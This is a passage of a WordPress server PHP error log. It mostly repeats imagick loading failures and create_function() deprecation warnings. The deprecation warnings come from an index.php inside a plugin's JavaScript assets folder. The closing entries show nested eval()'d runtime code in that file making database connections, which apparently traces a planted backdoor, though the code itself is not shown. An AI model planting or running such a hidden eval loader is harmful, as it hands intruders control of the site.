'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 16:10:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:10:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:10:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:53:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:53:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:54:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:54:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:54:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:54:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:54:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:54:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:55:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:55:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:55:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:55:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:56:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:56:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:56:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:56:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:56:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:56:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:57:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:57:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:57:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:57:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:57:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:57:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:57:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:57:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:58:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:58:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:58:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:58:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:58:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:58:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:59:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:59:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 17:59:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 17:59:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:00:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:00:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:01:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:01:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:02:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:02:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:02:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:02:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:02:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:02:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:03:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:03:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:03:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:03:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:03:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:03:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:03:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:03:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:04:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:04:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:05:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:05:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:06:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:06:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:07:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:07:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:08:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:08:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:08:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:08:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:08:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:08:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:09:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:09:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:10:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:10:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:11:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:11:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:11:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:11:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 18:11:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 18:11:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 19:13:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 19:13:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 20:14:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 20:14:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 21:15:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 21:15:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 21:39:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 21:39:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 21:39:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 21:39:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [05-Jun-2023 21:39:27 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in 